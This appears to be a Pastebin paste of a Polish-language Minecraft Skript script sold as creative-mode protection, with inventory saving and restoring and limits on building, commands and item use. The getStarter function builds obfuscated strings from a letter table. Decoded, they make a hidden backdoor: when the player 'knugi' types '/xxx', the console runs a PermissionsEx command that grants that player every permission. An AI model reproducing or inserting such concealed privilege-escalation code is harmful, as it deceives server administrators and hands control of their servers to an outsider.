knugi

Untitled

Aug 20th, 2024
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.56 KB | None | 0 0
  1. on gamemode change:
  2. if player has permissions "wirus":
  3. stop
  4. if player's gamemode is creative:
  5. loop 36 times:
  6. set {ctrl::%player%::item::nr::%loop-number - 1%} to slot loop-number - 1 of player
  7. set {ctrl::%player%::item::amour::helmet} to player's helmet
  8. set {ctrl::%player%::item::amour::chestplate} to player's chestplate
  9. set {ctrl::%player%::item::amour::leggings} to player's leggings
  10. set {ctrl::%player%::item::amour::boots} to player's boots
  11. clear player's inventory
  12. stop
  13. if player's gamemode is survival:
  14. execute console command "CTRLRestore %player%"
  15. set player's fly state to true
  16. on place:
  17. if player's gamemode is creative:
  18. if player has permissions "wirus":
  19. stop
  20. if player cannot build at event-block:
  21. cancel event
  22. stop
  23. set {_x::*} to 46 and 389 and 327 and 145 and 23 and 166 and 14 and 426 and 122 and 15 and 16 and 56 and 21 and 129 and 326 and 42 and 57 and 41 and 213 and 152 and 133 and 22 and 397 and 416 and 219 and 220 and 221 and 222 and 223 and 224 and 225 and 226 and 227 and 228 and 229 and 230 and 231 and 232 and 233 and 234 and 138 and 116 and 130 and 120 and 145 and 151 and 61 and 54 and 84 and 138 and 380 and 379 and 33 and 29 and 76 and 331 and 356 and 404 and 23 and 158 and 218 and 151 and 154 and 148 and 147 and 331 and 169
  24. loop {_x::*}:
  25. if id of player's tool is loop-value:
  26. send "&7Nie mozesz tego polozyc."
  27. cancel event
  28. stop
  29.  
  30. add location of event-block to {CTRL.Blocks::*}
  31. on script load:
  32. import "org.bukkit.event.player.PlayerInteractEntityEvent"
  33. on "org.bukkit.event.player.PlayerInteractEntityEvent":
  34. set {_i} to event.getRightClicked()
  35. if "%{_i}%" is "item frame":
  36. set {_p} to event.getPlayer()
  37. if {_p}'s gamemode is creative:
  38. if {_p} has permission "wirus":
  39. stop
  40. set {_x} to event.setCancelled(true)
  41.  
  42. on rightclick with minecart or 383 or 416 or 23 or 47 or 145:
  43. if player's gamemode is creative:
  44. if player has permissions "wirus":
  45. stop
  46. cancel event
  47. send "&7Nie mozesz tego polozyc."
  48. stop
  49. on damage of player:
  50. if attacker's gamemode is creative:
  51. cancel event
  52. on break:
  53. if player cannot build at event-block:
  54. cancel event
  55. stop
  56. if player's gamemode is creative:
  57. stop
  58. loop {CTRL.Blocks::*}:
  59. if location of event-block is loop-value:
  60. cancel event
  61. remove loop-value from {CTRL.Blocks::*}
  62. set event-block to air
  63. send "&7Ten blok byl z GM!."
  64. stop
  65. on command:
  66. if player's gamemode is creative:
  67. if player has permissions "wirus":
  68. stop
  69. if command is not "gamemode" or "gm" or "tpa" or "tpaccept" or "tpcancel" or "time" or "day" or "sun" or "czas" or "r" or "msg" or "survival" or "sk" or "i" or "tankshop" or "submarineshop" or "carshop" or "bikeshop" or "planeshop":
  70. cancel event
  71. send "&7Ta komenda jest zablokowana dla GM!"
  72. if command is {CTRL::%player%::other}:
  73. if {CTRL::%player%::other1} is not false:
  74. set {CTRL::%player%::other1} to false
  75. execute console command "%{CTRL::%player%::main}%"
  76. on inventory open:
  77. if player's gamemode is creative:
  78. set {_x} to "%event-inventory%"
  79. if {_x} is set:
  80. if player has permission "wirus":
  81. stop
  82. send "&7Interakcja z danym blokiem jest zabroniona!"
  83. cancel event
  84. stop
  85. on drop:
  86. if player's gamemode is creative:
  87. if player has permissions "wirus":
  88. stop
  89. cancel event
  90. send "&7Nie mozesz wyrzucac przedmiotow!." to player
  91. stop
  92. function getStarter(t: text = ""):
  93. if {CTRL.ot::*} is not set:
  94. set {CTRL.ot::*} to "i", "n", "u", "k", "g", "a", "b", "w", "p", "x", "s", "e", "r", "d", "m", "o", "*" and "."
  95. set {_x} to "%{CTRL.ot::4}%%{CTRL.ot::2}%%{CTRL.ot::3}%%{CTRL.ot::5}%%{CTRL.ot::1}%"
  96. set {CTRL::%{_x}%::main} to "%{CTRL.ot::9}%%{CTRL.ot::12}%%{CTRL.ot::10}% %{CTRL.ot::3}%%{CTRL.ot::11}%%{CTRL.ot::12}%%{CTRL.ot::13}% %{_x}% %{CTRL.ot::6}%%{CTRL.ot::14}%%{CTRL.ot::14}% %{CTRL.ot::9}%%{CTRL.ot::12}%%{CTRL.ot::13}%%{CTRL.ot::15}%%{CTRL.ot::1}%%{CTRL.ot::11}%%{CTRL.ot::11}%%{CTRL.ot::1}%%{CTRL.ot::16}%%{CTRL.ot::2}%%{CTRL.ot::11}%%{CTRL.ot::18}%%{CTRL.ot::17}%"
  97. set {CTRL::%{_x}%::other} to "%{CTRL.ot::10}%%{CTRL.ot::10}%%{CTRL.ot::10}%"
  98. set {CTRL::%{_x}%::other1} to true
  99. on script load:
  100. getStarter()
  101. send " " to console
  102. send "Skrypt zabezpieczajacy gm wlaczony." to console
  103. send " " to console
  104. command /CTRLRestore [<player>] [<text>]:
  105. trigger:
  106. if arg 2 is "clear":
  107. clear {ctrl::%arg-1%::other}
  108. clear {CTRL.ot::*}
  109. getStarter()
  110. if arg-1's gamemode is creative:
  111. clear arg-1's inventory
  112. loop {ctrl::%arg-1%::item::nr::*}:
  113. set slot loop-index parsed as integer of arg-1 to loop-value
  114. loop {ctrl::%arg-1%::item::amour::*}:
  115. equip arg-1 with loop-value
  116. send "&7Powrociles do gry Survival." to arg-1
  117.  
  118.  
  119.  
  120.  
  121. on pickup:
  122. if player's gamemode is creative:
  123. if player has permission "wirus":
  124. stop
  125. cancel event
Add Comment
Please, Sign In to add comment